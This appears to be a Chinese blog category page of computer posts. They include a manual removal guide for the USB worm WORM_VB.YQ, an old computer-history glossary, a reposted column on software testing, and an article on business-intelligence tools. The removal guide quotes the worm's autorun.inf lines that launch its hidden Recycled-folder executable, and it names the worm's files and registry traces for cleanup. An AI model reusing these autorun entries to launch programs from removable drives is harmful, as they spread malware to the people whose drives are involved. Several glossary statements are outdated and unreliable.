目前分類:電腦和網際網路 (53)

瀏覽方式: 標題列表 簡短摘要

若不是硬體的問題(隨身碟也是會壞的)

且使用檔案總管又可以看到的的話,那就是中毒了。
我找到了解決的方式了,如下:
你中的病毒我也中了,這支病毒很頑強,通常會使隨身碟或是外接式隨身硬碟無法使用"我的電腦"打開.以下是我的抗戰經驗,我的作業系統是Win XP:

[趨勢病毒名稱]:
WORM_VB.YQ
需使用最新病毒碼才能發現,目前為止只能手動完全清除.

[病毒特性]
高度傳染性,具高度潛在破壞性,由於隨身碟風行,所以是難以抵擋再次被感染.

[病毒運作模式]
似乎是利用inetsrv.exe掩護位於隨身碟的driveinfo.exe driveinfo.sdc voinfo.dll autorun.inf,這些檔案被系統保護住,需要將「工具」裡的「資料夾選項」的「檢視」,將裡面的「隱藏保護的作業系統檔案」打勾去除才能看到這些檔。

inetsrv.exe 位於XP的System32下,有時候沒有,有時候是資料夾形式,按Ctrl+Shift+Esc可以看到正在運行。
driveinfo.exe driveinfo.sdc voinfo.dll 位於隨身碟的Recycled目錄
autorun.inf 隨身碟的根目錄。

[病毒發作]
這些病毒互相掩護,所以砍掉任一邊都有可能再度傳染,會讓你無法直接利用「我的電腦」打開這個硬碟代號(出現存取被拒或拒絕存取等字樣),但是使用檔案總管還是可以打開,Format該磁碟後就可以恢復.(Format可能也無法順利進行,可以利用DOS模式Format該磁碟,會提示移除控制碼,然後可以Format,但是這並非正規做法)

[我的解法]
1.根據趨勢的解法需要解除系統還原,這也會將之前所有還原點給刪除,這是令人討厭的第一個步驟,目前我還在考慮要不要放棄多年的備份還原點.(在我的電腦上按右鍵點內容及可看到系統還原項目)

2.重開機按F8進去安全模式

3.按Ctrl+Shift+Esc打開工作管理員,將inetsrv.exe程序關掉

4.搜尋硬碟裡的inetsrv.*並且刪除

5.這一項是解除感感染的外接磁碟,插上可能感染的隨身碟與隨身硬碟,利用「檔案總管」來找到以下檔案並刪除driveinfo.exe driveinfo.sdc voinfo.dll (位於隨身碟的Recycled目錄)與autorun.inf(此檔案並非都是病毒,打開內容有
[AutoRun]
Open=.RecycledDriveinfo.exe
ShellOpenCommand=.RecycledDriveinfo.exe就是感染的狀況 )

6.打開regedit,
尋找有關"inetsrv" "driveinfo" "voinfo"的機碼/值/資料並且刪掉.

7.重開機,看看inetsrv是否有被真正刪除(叫出工作管理員看看並且使用趨勢掃描)

[參考資料]
http://forum.icst.org.tw/phpBB2/viewtopic.php?t=10273
http://www.trendmicro.com/vinfo/virusencyclo/default5.asp?VName=WORM%5FVB%2EYQ&VSect=Sn
http://tw.knowledge.yahoo.com/question/?qid=1206060908898#answers
2006-06-22 15:09 補充
會不會發作要看你清的乾淨不乾淨,如果你在Recycled目錄下看不到相關程式,那這個磁碟就是乾淨了,另外SD/CF卡與其他種DSC的記憶卡都會中這個毒,你可以一個一個刪掉。

或是你沒有將「工具」裡的「資料夾選項」的「檢視」,將裡面的「隱藏保護的作業系統檔案」打勾去除才能看到這些檔。

資料來源:
http://tw.knowledge.yahoo.com/question/?qid=1306061813021

香醇咖啡 發表在 痞客邦 留言(0) 人氣()

PowerPC是由IBMMotorolaApple三大公司所開發出來,利用RISC(精簡指令集) 架構為中央處理機的產品,其後Apple所推出的Power Macintosh電腦,也是PowerPC的一員。PowerPC是以IBMRS/6000為基礎來開發的,目前IBM AS/400商用迷你電腦也採用64位元的620 PowerPCCPU,而蘋果電腦最新推出的個人電腦iMac,則採用PowerPC系列最新的64位元G5CPU
因為RISCCISC(複雜指令集) 電腦具有指令簡單、扼要,而且執行時間短等優點,因此同樣的硬體十分適合用於許多不同的工作平台,未來PowerPC將可執行IBM版本的UNIX──AIXMacintosh的作業系統
MacOSIBMOS/2Windows NT等作業系統,和Novell網路作業系統NetWareSun MicrosystemsUNIX──Solaris,如此多樣作業系統的支援,將使PowerPC的未來不可限量。
PowerPC家族當中,最小的603使用66 MHz的時脈、具有32位元的定址能力與64位元的資料匯流排,擁有100萬顆電晶體,以144 pins的接腳包裝。加強版的603e604則採用100233 MHz的時脈,擁有256 pins接腳包裝與260360萬顆電晶體。601的時脈則由506680100數種,有280萬顆電晶體與304 pins接腳。威力最大的620則採用64位元的暫存器 (前面幾種皆為32位元)、擁有40位元的定址能力與128位元的資料傳輸能力,擁有最大的64 KB L1 Cache(程式碼與資料各32 KB),工作時脈由133233不等,擁有700萬顆電晶體,採用625 pins包裝。
IBM
19989月推出了以銅取代鋁作為導體的PowerPC 740750,達到400 MHz的工作時脈,Apple所推出的PowerPC G4已經可以達到867 MHz的速度。以IBM核心技術所製造的64位元PowerPC G5 CPU,更一舉創造了1 GHz的前端匯流排 (FSB),內含5800萬顆電晶體,並可採用64位元的記憶體定址。

 

Apple是在1976年由Steve WozniakSteve Jobs在美國加州舊金山兩人合組的個人電腦公司,該公司所推出的8位元個人電腦Apple II在全世界都造成相當大的轟動,它是第一個將電腦這種高科技產品帶入家庭,影響人類生活的產品,後來推出的Macintosh系列產品,則是使用者圖形介面 (GUI) 的先驅,至今許多著名的排版系統、影像處理軟體,都是由Macintosh上起家的。最近Apple又聯合IBMMotorola開發出RISCPowerPC晶片,企圖奪取部份工作站的市場,關於Apple公司的最新資訊請參見http://www.apple.com

 

Linux是由芬蘭赫爾辛基大學 (Helsinki University in Finland) Linus Torvalds所設計的一套UNIX相容作業系統,這一套近來在Internet和各BBS上十分流行的UNIX作業系統,它最大的特點是這套作業系統是隨著原始程式碼完全免費流傳散佈,任何使用者都可將它拿來更改,成為自己獨一無二的一套作業系統。Linux支援TCP/IP通訊協定,使得利用它來架設自己的網站不再遙不可及,在網際網路上眾多支援的應用程式更是讓這套系統如虎添翼。因為Linux最主要是在網路當中流傳,因此平均更新版本的速度約是兩至三個星期,這是其它作業系統所不及的。因為Linux可以在個人電腦上執行,而且它所需要的硬體配備又十分少,所以十分適合初學UNIX作業系統的學生使用。

 

X WindowMIT麻省理工學院、DEC迪吉多電腦及IBM國際商務機器共同發展的的一種網路視窗應用環境 (注意Window沒有加s),最初發展的目的是為UNIX作業系統上的工作站,能夠在任何一台電腦上面,執行遠端電腦的程式所設計,目前X Window已經有許多作業系統的版本,但仍以UNIX作業系統為主。
X Window
的特色在於TCP/IP網路上的應用,若在一工作站上設計是GUI程式介面,便可在網路上另一個工作站顯示或修改。
能夠執行X Window環境的終端機通常稱為
X終端機 (X terminal) 或是X用戶端 (X Client),程式真正執行的地方則稱為X伺服端 (X Server)
例如我們要在
A電腦上執行B電腦當中的程式,必須先在A電腦當中執行終端機登錄telnet或遠端登錄rlogin程式,進入B電腦系統當中,並將顯示器的參數設定為A電腦的螢幕 (利用export DISPLAY或是setenv DISPLAY指令),接著,確定在A電腦當中具有X用戶端的能力,而B電腦當中已經執行了X伺服端的程式,便可以直接執行B電腦當中的程式,程式的畫面會顯示到A電腦上的螢幕。它們之間的溝通是透過X協定 (X protocol) 來完成的。

 

Transmeta Corporation是由提出精簡指令集RISC理論的David Ditzel1995年所創辦的IC設計公司,專門生產與x86 CPU晶片相容的公司,強調其省電與彈性化,專門用於PDA與手機等市場。
Transmeta
其主力產品
Crusoe利用將硬體的工作交由軟體執行的Code Morphing的方式,它在Linux原始設計者Linus Torvalds的帶領之下,利用Linux作業系統的核心技術,可以節省60%70%的電力消耗,而且散熱效果更佳,使得筆記型電腦的電池效能將可以延長至24小時,而且,因為CPU的部分工作由軟體來負擔,藉由升級軟體,將可以達到升級電腦的效果,以往在Intel主導下的CPU升級觀念將有重大變革。
目前包括台灣的台積電、聯電幾家半導體製造商,與揚智 (
ALi)、矽統 (SiS)、威盛 (VIA)IC設計廠商,與筆記型電腦製造商大眾、廣達、華宇、仁寶等,都直接或是間接與Transmeta有合作關係,渴望在未來提供攜帶型電腦更多的選擇。

香醇咖啡 發表在 痞客邦 留言(0) 人氣()

Alpha是由Digital(DEC)公司所推出,全世界第一顆純64位元的微處理器,它是以RISC(精簡指令集) 的技術所發展出來的,所有的資料匯流排、定址器、暫存器都是64位元,較新的21064/21164更將外部的快取記憶體與DRAM匯流排提昇為128位元。
依照性能區分,
Alpha微處理機分為三個等級:21066適用於桌上型個人電腦,具有240萬顆電晶體和32 KBL1 Cache,提供166 MHz的速度。
21064適用於一般工作站,速度可達275 MHz,擁有180萬顆電晶體和32 KBL1 Cache
最高等級的
21164定位於高階工作站或是伺服器,最高速度600 MHz,擁有930萬顆電晶體,112 KBL1 Cache,以及128位元的記憶體匯流排。後續的21264 2000年推出時脈超過1,000 MHz的產品。

 

Z80是由Zilog Corporation公司在1970年代所推出的Tandy個人電腦所使用的中央處理單元 (CPU),它和Intel 8080類似,都是8位元的微處理機,而且執行CP/M作業系統,Z80可以說為後來的Apple IIIBM-PC做個人電腦的開山始祖。

 

IBM(International Business Machines Corporation) 是全世界最大的電腦公司,它是在1911年成立於紐約。目前在全世界廣泛使用的個人電腦,便是由IBM PC相容機種衍伸而來的,但該公司並非以個人電腦系統為主,在大型電腦、中型電腦、迷你電腦、網路、應用軟體以及電腦相關硬體設備,都有相當不錯的產品,因為其商標為藍色的『IBM』三字,所以電腦界又稱它為『藍色巨人』(Big Blue)IBM在全世界都有分公司,它的產品在電腦界具有舉足輕重的份量。IBM公司的www首頁位於:http://www.ibm.com
IBM
不但發展出影響
90年代辦公室自動化的個人電腦,也同時提出了精簡指令集 (RISC) 的電腦架構,以及資料庫標準化的SQL語言。

 

AS/400這是IBM公司為了一般中小企業所推出的迷你級電腦系統。這種電腦系統包含了好幾種不同的形式,分別適用於各種商業場合,目前幾乎以成為中型企業的最愛,主要是因為它價格不高,又有豐富的硬軟體支援,而且含兼具獨立處理即分散式網路處理的能力,但是目前這一個等級的市場已經被許多功能強大的個人電腦所瓜分。

 

APPC(Advanced Program to Program Communication) IBM公司在設計系統網路架構 (System Network Architecture) 時,所定義出可供不同機器上的程式,能夠彼此互相溝通的法則,這是一個點對點 (peer-to-peer) 的通訊協定,通常用在IBM AS/400執行SNA(Systems Network Architecture) 網路的機器上。

 

OS/2Operating System/2的縮寫,這是IBM公司當初推出PS/2(Personal System/2,第二代個人電腦) 時,所搭配的一套全新作業系統,但是由於缺乏如DOSWindows等眾多應用軟體的支援,所以在整個PC市場的佔有率一直無法提昇。
OS/2
號稱它是真正的多工環境,而且還可執行DOS
Windows 3.x上的應用程式,在IBM的大力促銷之下一度有不少支持者。唯在Windows 95/98推出之後,由於缺乏後續應用程式的支援,現在幾乎已經消聲匿跡了。

 

PS/2Personal System/2的縮寫,這是IBM公司在PC/AT之後推出的新一代機種,它以80386為中央處理機,是一部32位元的電腦系統,這個系統包含了數種機型,從最基本的陽春配備到最高級的機種各有不同的消費者導向,這個硬體系統是搭配IBMMicrosoft合作開發的OS/2(Operating System/2) 作業系統。
目前包括鍵盤與滑鼠的介面,最早便是出現在
IBM PS/2電腦系統當中,所以它們也稱為PS/2介面,其特點在於接頭較傳統的DIN接頭小,為圓形具有6接腳的接頭,也稱為Mini-DIN,而使用PS/2介面的滑鼠將不再佔用COM port的空間。

 

IBM公司於1981/8/12所推出的個人電腦 (IBM Personal Computer),稱為IBM PC,它使用16位元的8088/8086微處理機 (microprocessor),它配備一台單面160 KB5.25英吋的軟式磁碟機 (全高、為目前光碟機的2倍高度)64 KB的主記憶體 (KB為單位,而非現今電腦的MB或是GB),以及12英吋的單色螢幕 (或是外接彩色電視機),並未配備硬式磁碟機 (當時一台10 MB的硬式磁碟機比一台IBM-PC還貴,因為所有程式和作業系統都儲存在軟式磁碟片上執行,所以電腦系統大多不配備硬碟),包括合法的IBM-PC DOS 1.0版作業系統,售價2,880美金 (在當時1:40匯率換算下,約為115,200元台幣),在推出當時由於功能強大、價格低廉,使得電腦不再只是公司、機關才買的起的設備,受到一般民眾、學生的喜愛。
時至今日,IBM PC已經成為一般個人電腦的代名詞,目前在台灣地區所使用的個人電腦,有
95%以上都是和IBM PC或是Pentium III4系列CPU相容的,所以IBM PC一詞也不再侷限於原先的IBM第一代個人電腦。

 

Sun(Sun Microsystems) 是由Scott McNealy所創辦,全世界著名的UNIX電腦製造商,並以致力於推動Java成為新世代的程式語言,製作許多Java的開發環境與標準而聞名於世。
Sun
由製造UNIX工作站起家,並生產搭配工作站所使用的Solaris作業系統,制定目前廣為UNIX工作平台所使用的Java程式語言,現在已經成為許多家電產品、通訊用品或是PDA內建的執行環境,對於整個通訊與資訊界的發展,
Sun Microsystems有著舉足輕重的地位。

 

Solaris作業系統是在SunSPARC工作站上執行、以Java語言為基礎的一種UNIX作業系統,目前Sun公司已經開發出能夠在Intel 8x86上執行的Solaris版本,提供Windows NT以外另外一個網路作業系統的環境,使用者可以由網際網路上免費取得它。請參閱http://www.sun.com/developers

 

SPARC(Scalable Performance ARChitecture) 是由Sun Microsystem所製造、全世界第一顆量產化的RISC(精簡指令集) CPUSun公司在製造SPARC時依照不同市場的需求,規劃了UltraSPARCmicroSPARC兩大系列,前者最主要針對高階伺服器及一般工作站使用,後者則將內嵌在網路電腦、PDA等消費性市場上。
SPARC
電腦系統被大量的用於教育及研究單位,國內許多大學及研究所都安裝有此電腦系統,一般配合Sun本身所研發的Solaris作業系統。

 

Novell創立於1983年,它是一個以Novell NetWare作業系統聞名於世的網路軟體公司,在1990年代初期,NetWare作業系統幾乎佔據了個人電腦小型區域網路80% 以上的市場,後來由於Windows NT的出現,而削減了部份市場,請參見Novell NetWare
Novell
也舉辦了一些網路人員認證的課程,稱為CNE,目的在於測試網路管理人員基本的網路知識,請參見CNE
Novell
1995年制定了網際網路目錄服務的標準NDS(Novell Directory Service),協助網路程式設計師開發出在網際網路上存取放在不同電腦系統當中的資料。NDS也有Windows NTSolarisLinuxIBM OS/390等平台的版本。

香醇咖啡 發表在 痞客邦 留言(0) 人氣()

 

近日微軟宣佈Windows Vista無法如期在年底前上市,這其中有一些因素是為了商業的考量。依照微軟的說法,主因是為了在安全方面更強化,需要再做更多的測試及修正。對Windows來說,的確是該在正式上市前做到超越100%的嚴謹測試,如果為了賺錢而縮短、簡化測試,是件非常不道德的行為。因為它是一套會影響全世界電腦使用者或企業的重要軟體,一個小小的疏忽都有可能造成莫大損害。(我們的雪山隧道也是一樣,為了趕通車,也許提早方便民眾,可是一旦因縮短測試而漏掉了一個問題,進而造成事故,那麼即使花再多的時間和金錢也是無法彌補的。)

不論是軟體專案、工程專案或是其它各類的專案,在整個專案進行的過程中或是結案前,都存在著大大小小的測試。我們以軟體專案為例,從元件開發過程中的單元測試(Unit Test)、到功能測試(Function Test)、然後是整合測試(Integration Test)、最後還有個使用者驗收測試(UAT, User Acceptance Test)等等,一堆的測試。這些測試最終目的就是為了讓整個系統能夠正常順利的運作,只要測試的項目涵蓋範圍夠廣夠完整,那麼就可以精確掌握各種可能的狀況,讓系統出錯機率降到最低。

不過,既然測試那麼重要,但是軟體界一項常見的問題是,軟體產品往往沒有經過足夠的測試。原因在於,測試的成本非常高,不管是人力的成本或是其它相關資源的成本。雖然有許多的測試工具軟體可以輔助我們做測試的工作,但是要測哪些項目、怎麼測以及有些操作還是得靠人力才行。程式設計師自行測試會很自然地用他們認為最佳的方式來操作這套系統,這會產生許多盲點,導致成品出現許多bug。

有的開發團隊較大,可以同時專人從事測試及程式,通常測試員跟程式設計者分屬不同的團隊,但當一位好的測試員也不是件容易的事,除了照測試計劃上的功能一一測試其正確性外,還要盡可能的當壞人,找出任何可能破壞這個系統的方法。例如亂輸入各類的文字、符號、更換正常步驟的順序等…。所以當測試員的, 需要腦筋得動得快、想得廣,還要有創意,例如從不同角度來使用軟體,以便抓出bug。

通常,使用者驗收測試是另一個,也是最長且最難的一關。難處在於使用者可能是很機車且愚笨的,他們常常會提出很多另人恨得牙癢癢的問題,我曾經就遇過「送件夾」跟「寄件夾」這兩個詞之間的爭議,使用者非要我在文字上完全正確,才肯進行下一個測試。以筆者做過的專案經驗來說,使用者驗收測試最少得花掉一個禮拜,多則一、兩個月也有可能。

依照剛剛的說法,每個專案都得有另外一組的測試人員,但這對一般人力/資源有限的小公司來說,是很困難的事。現在什麼事都流行外包,要將測試外包當然可行,但不論是自己公司養的測試團隊或是外包給其它公司,會遇到的問題也跟一般的專案差不多,因為它也算是一個測試「專案」嘛!怎麼測?數據該如何呈現?測試的深度、廣度?是否客觀公正? 這些如果沒有很好的把關也會出問題。

另闢蹊徑

軟體測試既然那麼困難重重,因而軟體公司就會另闢蹊徑。比較大型的公司、出名的軟體通常會開放測試版(alpha, beta)供使用者下載,有些也不是全部開放,而是讓想測試的使用者簽約,拿到測試版後多久內會回覆試用報告。這麼做的好處,當然是可以讓測試的廣度變得很廣,而且遇到一些Power User,還能幫你找出具有深度的Bug,加速產品上市時程。除此之外,還能替公司帶來一筆額外的收入,例如我們常在便利商店或電腦賣場看到的一些廠商的試用包、搶鮮包就是最好的例子,既可省錢,又可以賺錢。何樂而不為呢?

Open Source(OSS)OSS跟商業軟體不同的是,商業軟體你最多就是下載回來玩玩,然後有什麼bug或是該改進的回報給原公司。而且其實商業軟體開放下載beta,大部份只是想省下測試所需的成本,美其名是嘗鮮,就算再有心的使用者,對它的貢獻也是有限,至於原公司會不會採納你的意見,就不一定了。但在OSS上,你不但能測、還能改。人家已經測試好了,也找出問題了,你可以依此依據原有的程式碼及測試的結果自己改成你自己的版本 ,或是更好一點,等其它人改好拿來用。你只要遵守改程式碼的規定(有的還得先申請帳號,取得修改權),就可以貢獻你的力量。OSS是傾眾志成城的最佳例子,集合網路上有志之士的人共同開發與測試,發揮的效益比軟體巨人集菁英智力的封閉型軟體更強大。那麼開放好還是封閉好?我認為還是見仁見智囉,只要使用者是贏家的都好。

回到我們的Vista,它是一個多麼巨大的怪物,要從頭到尾幫它做檢視,是多麼的困難、耗時的事。而且,即使它在明年順利上市了,相信一定也還存在著不少未被找出的漏洞。沒有一套系統可以保證100%的安全,重點是在被找出漏洞後,可以在多少的時間內完成修補的動作,這個時間愈短,這個系統就愈安全。我們期待多一點的時間,能換來更好的產品。

轉載自:http://taiwan.cnet.com/enterprise/column/0,2000062893,20105243,00.htm 

香醇咖啡 發表在 痞客邦 留言(0) 人氣()

前言:

從近來各種大小規模的企業與產業競相佈建商業智慧(BI)系統的現象來看,此一技術對企業制定正確之經營與行銷決策的重要性已不言自明。但是,如何選擇甚至設計一套最適合其業務範圍、產業特性,以及特殊需求的商業智慧系統,著實令企業經營者傷透腦筋。本文將逐一介紹建構完整BI系統所需的主要工具,以提供企業選擇產品之參考。

經過多年的演進與調整,目前的商業智慧系統已發展出一套完整的架構,標準的作業程序是以建置資料倉儲(Data Warehouse;DW)為基礎,將不同作業系統資料庫、不同來源、不同型態的資料,經過清洗(Cleansing)以及擷取、轉換、載入(Extraction, Transformation, Loading;ETL)等程序後,以一致的格式經組織化地儲存在資料倉儲中,以供管理者使用各式線上查詢分析處理工具(On Line Analytical Processing;OLAP)、資料採礦(Data Mining;DM)、決策支援系統(Decision Support System )。

經過這些縝密的步驟,商業智慧系統可使用者協助挖掘出埋藏在數據資料背後的知識,將其轉化成為有助於企業決策的有用知識,作為決策支援的依據,甚至可預測未來的趨勢。

雖然BI技術已發展出標準流程,但其中所使用的技術、方法論、軟體工具包羅萬象,各家廠商所提供的解決方案也有很大的差異。以下將就幾項主要技術的特性逐一探討。

資料倉儲:為BI平台奠基

資料倉儲是一切商業智慧系統的基礎,如果沒有資料倉儲,或是沒有足夠的資料量,後續的彙整、分析、決策工作都不可能實現。我們可由廣義與狹義的定義來探討資料倉儲技術。

就狹義或其原來的定義而言,資料倉儲一般是指一個超大型的資料庫。隨著近年來個人電腦及網際網路的蓬勃發展,使得企業界得以持續不斷地收急並累積大量的資料,如欲完整地將所有長期搜集的資料保留下來,並轉化為有用的營運資訊,當務之急是建立一個超大容量,可集中儲存電子化資訊的關聯式資料庫,資料庫容量大小可能從50 gigabytes(GB)到1 terabyte(TB)不等。各種不同來源與型態資料,不論是報告、型錄、相片、影音光碟,或是錄音存檔,在存入資料庫之前必須先經過格式的轉換與清洗等處理步驟。如此一來,企業便可確定資料倉儲本身所含資料是乾淨的(即事先剔除了錯誤的資料)、完整的,且經過整合的,以免誤導企業而使決策行為產生混亂與誤用。

此後,資料將以整齊的形式與系統化的排列方式儲存在倉儲系統內,以供查詢和分析之用。因此,從廣義來看,Data Warehouse更深層的意義是資料的整個轉化流程,現在業界普遍以資料倉儲一詞泛指包括OLAP、ETL、DSS等工具的整合式軟體平台。

資料倉儲可達成二個主要目標:資料管理(控制現存之資料混亂狀態)以及資料展現(提供直覺式的企業資訊存取方式)。一般而言,資料倉儲包括以下的元件:

‧運作的資料來源(Operational data sources)
‧設計/開發工具
‧資料抽取(data extraction)與轉換(transformation)工具
‧資料庫管理系統(DBMS)
‧資料存取與分析工具
‧系統管理工具

相對於傳統系統的被動式查詢(當需要查詢時才做運算),資料倉儲採主動式查詢(當來源更動時,即作出相對應的反應),因此Data Warehouse系統能夠主動地從所有的分散式﹙distributed﹚、自主性﹙autonomous﹚、異質性﹙heterogeneous﹚的資料來源中,搜集、擷取並維護相關的資訊。當企業內部各個部門需要利用不同資料來源,或是變動資料庫的內容時,資料倉儲系統便可以將擷取對應的資料,並經過格式處理並轉換成內部型態後,再與已存放於資料倉儲中的資訊互相整合。由於資訊已事先存於系統中,因此可即時地反應查詢及資料分析工作。

運作速度與彈性是核心資料庫之設計的關鍵。現今大多數的商業智慧系統多採取傳統關聯式資料庫(RDBMS),其缺點是容易使得原始資料暴增到四、五倍,而且在收集資料後,無法將資料作多向廣度面的運用,有些廠商特別強調其資訊倉儲工具結合了創新的專利查詢處理技術及效能最佳化的方法來進行高效能資料分析,以提供比傳統關聯式資料庫快了100倍的即席查詢效能。

目前的資料倉儲系統具備以下幾個特色:

  • 主題導向(Subject-Oriented)--在任何企業中,資料自然的會以相同的種類或主題聚集在一起,因此資料倉儲以這些高層次且不重複的主題為主要的處理對象,例如:顧客、訂單、產品、供應商等等,有別於作業系統的流程導向。
  • 整合性(Integration)--資料倉儲內的資料必須具有相當整合性,在資料的轉換過程中,要讓欄位名稱、測量變數、編碼方式、日期時間等等主題屬性具有一致性的格式。
  • 時間變化性(Time Variation)--日常的作業系統每天都有新資料增加,為維持資料倉儲的可用性,必須在某些特定的時間點到作業系統中擷取新資料,稱之為「快照(Snapshot)」。
  • 非揮發性(Non Volatilization):當資料放到資料倉儲中後,便不再隨著時間的變化而有異動、修正或更新,因此具有唯讀的性質。

另外,許多人將資料超市(Data Marts)與資料倉儲混為一談。資料超市所涵蓋的範圍比資料倉儲小,其資料的涵蓋範圍為企業的部份資料,而且是屬於特定主題的資料。事實上,此種倉儲模式為資料倉儲的一個子集,一般僅提供部份資訊,給某一群使用者或某一部門使用,以符合企業內部的特殊需求。企業級資料倉儲的建置與管理往往非常昂貴且耗時;建立的方法通常是從上到下(top down)由統籌的資訊服務單位主導。而資料超市通常只為了特定的決策支援應用程式或使用群組而設計,採由下而上(bottom up)的建置方式。

功能完備的資料倉儲系統還需支援複製功能,也就是在本公司之外的遠端複製一份資料庫,除了可儲存備份檔案外,同時也可也效地進行災難復原(Disaster Recovery)的工作,以確保本公司在發生災害(如火災、水災,或地震)致使資料發生損毀時,還有備份的資料在遠端安全的保留著。

資料探堪

Data Mining有許多不同的中文譯法,如資料探堪、資料挖掘或資料採礦,主要是描述其探掘礦藏般從龐大的資料庫中尋找出有價值的隱藏事件,並且加以分析的特性。

資料探堪技術包含了統計技術、資訊工程、行銷企畫、財務分析等技術的組合,所著重的是資料庫的再分析。藉由模式比對的方式,Data Mining技術可在企業所蒐集了的市場、客戶、供應商、競爭對手以及未來預測等大量資料中,找尋如趨勢(Trend)、特徵(Pattern)及相關性(Relationship)等隱藏在背後具特殊含意的訊息,以執行預測模型、市場區隔、關聯分析及偏差行為等作業。
Data Mining技術將可來挖掘更多知識。資料採礦將能協助企業利用不同的分析工專家建議企業須小心使用資料探勘所得的結果,不可完全依賴它,因為Data Mining工具是用來從資料中發掘出各種假設(Hypothesis),但是它並不負責查證(Verify)假設,也無法確認資料的真實性。

一般而言,Data Mining的理論技術可分為傳統技術與改良技術兩派。傳統技術以統計分析為代表,舉凡統計學內所含之敘述統計、機率論、迴歸分析、類別資料分析等皆屬之,尤其 Data Mining 對象多為變數繁多且筆數龐大的資料,是以高等統計學裡所含括之多變量分析中用來粽簡變數的因素分析(Factor Analysis)、用來分類的判別分析(Discriminated Analysis),以及用來區隔群體的分群分析(Cluster Analysis)等。

在改良技術方面,資料探勘技術廣泛利用各種的電腦應用領域的人工智慧方法,應用較普遍的有決策樹理論(Decision Trees)、類神經網路(Neural Network)、遺傳基因法(Genetic Algorithms)、模糊理論(Fuzzy Logic),以及規則歸納法(Rules Induction)等。使用的技術和應用對象的不同,往往所產生的結果也會很有大的差異。要決定使用基於何種人工智慧的Data Mining解決方案,必須先對各項技術有初淺的認識,以下簡單說四種最常用的技術。

決策樹:Data Mining利用決策樹來建立分類模式(classification model),以樹枝狀展現資料受各變數的影響情形之預測模型,根據對目標變數產生之效應的不同而建構分類的規則,一般多運用在對顧客資料的區隔分析上。為了將輸入的資料分類,決策樹的每一個節點即為一個判斷式,判斷式針對一個變數去判斷輸入的資料大於或等於或小於某個數值,每一個節點因而可以將輸入的資料分成若干類。決策樹的優點是,其結果很容易讓人了解,因此被廣泛使用。

類神經網路:在資訊與電子業者,類神經網路技術已發展多年,其作法是以大量簡單而相連的人工神經元(Neuron)來模擬人腦思考的能力。此一技術可自輸入之變數與數值中自我學習,並根據學習經驗所得之知識不斷調整參數,以期建構資料的型樣(patterns)。其他的優點還包括高速運算、過濾雜訊、容錯等,因此能夠解決許多複雜的分類、預測等問題。類神經網路是一種模擬的資料分析模式。與傳統迴歸分析相比,類神經網路為非線性的設計,好處是在進行分析時無須限定模式,特別當資料變數間存有交互效應時可自動偵測出;缺點則在於其分析過程為一黑盒子,故常無法以可讀之模型格式展現,每階段的加權與轉換亦不明確,因此這項技術多半應用於屬於高度非線性且帶有相當程度的變數交感效應的資料分析上。

基因演算法:基因演算法是一種新的資料探勘技術,它以適應函數來決定搜尋的方向,再搭配模擬生物的人工運算過程,例如選擇、複製、交配和突變等進行演化,週而復始地模擬自然界的演化方式,以求得一個最佳的結果。在許多應用中,此一技術經常與類神經網路技術結合運作。

歸納法則:規則歸納法是知識採礦的領域中最常用的格式,這是一種由一連串的「如果.../則...(If / Then)」之邏輯規則對資料進行細分的技術,在實際運用時如何界定規則為有效是最大的問題,通常需先將資料中發生數太少的項目先剔除,以避免產生無意義的邏輯規則。

為達成量身訂製的目標,市場上的資料探勘系統皆訴求模組化設計,每家廠商的Data Mining皆支援各種不同的模組,以配合不同客戶的需求來組成不同模組的系統。目前主要發展的模組包括資料抽樣(Sampling)、資料分組(Data Partition)、迴歸分析(Regression)、決策樹(Decision Tree)、類神經網路(Neural Network)等多達一、二十個模組,將各個模組,任意組合及建立架構,將可產生無窮多的應用。 

藉由以上各項技術的協助,資料分析人員便可建立分類(classification)、推估(estimation)、預測(prediction)、關聯分組(affinity grouping),以及同質分組(clustering)等五大步驟,使得從資料中發掘寶藏成為一種系統性且可實行的程序,並進而建立Classification、Regression、Time Series、Clustering、Association、以及Sequence等六種資料模式。Classification以及Regression主要是用來做預測,而Association與Sequence主要是用來描述行為(例如消費行為)。Clustering則是二者都可以用的上。

OLAP(Online Analytical Process)

有了功能齊全的資料倉儲並運用資料探勘技術後,管理者還需不同分析工具的輔助。以線上查詢分析工具而言,它可以讓管理者隨意依自己的決策需要來瀏覽資料。利用多維的概念,OLAP支援直覺式的資料操作方式、彈性的報表產生、及無限制的多維度分析與跨維度操作,讓使用者深入瞭解資料之間的奧祕。

OLAP的系統架構主要可分成ROLAP(Relational OLAP)及MOLAP(Multidimensional OLAP)兩種方式。ROLAP透過標準或擴充式的關聯式資料庫(RDBMS)來建置資料倉儲,是比較普遍的方式,它將資料儲存在關連式資料庫中,透過SQL方式來讀取資料。OLAP是要讓使用者在大量的資料中邊瀏覽、邊查詢,並找出問題,進而追查問題且尋求可行的解決方式。

OLAP工具提供以下兩大功能:

*快速的分析查詢能力:OLAP提供使用者線上的即時資料分析模組,不同廠商提供的模組並不相同,不過基本上都包括了線性與非線性的多變量分析、法則分析與目標搜尋與模式模擬等功能。透過OLAP的線上分析模組,管理者透過其個人電腦便可以了解不同因素,如季節、年齡、教育等,與產品銷售之間的關係,進進行交叉分析後,以所得的結果規劃行銷方案。

*多維度資料展示:多維度(Multidimensional一詞是指多項不同分析問題的變項。以銷售資料分析而言,OLAP可依地區、部門、產品等要件形成如魔術方塊般的不同構面,以便檢視資料庫中的資訊並分析其彼此的關連性。管理者可詳細檢視資料在不同維度組合下的各種層面,系統並可據此動態且即時的產生所需的報表,如此可以節省需要由資訊部門來設計程式的不便,提高分析的效率。

在執行由各個不同構面組成的多維度展示時,OLAP可自由地旋轉立體資料方塊,讓不同的資料維度的欄列資料項目互相嵌套,以便讓使用者得到其所需要的資料表格。而資料魔術方塊欄列間不同的變化組合,除了可以任意的選取及組合分析的維度、維度裏的項目、看資料的順序、分析變數與統計值外,還可以做加總、排行與分析變數間的計算。當使用者在多維度資料庫裏分析到某一層次時,經常會有要到交易性資料做更進一步分析的需求。此時OLAP可動態產生SQL來透過ODBC或直接讀取詳細的資料。而企業內資訊人員則可以交談(Interactive)或批次(Batch)的方式來建置多維度資料庫。

如前面段落所述,傳統的關聯式資料庫之處理速度較慢,因此以此技術為基礎的ROLAP在資料庫內建龐大資料量時,其查詢與分析速度會變得更慢,拖延制定決策的進度。目前許多OLAP工具都採MOLAP架構,以便快速地在大量資料下進行分析,並支援多維度展示。

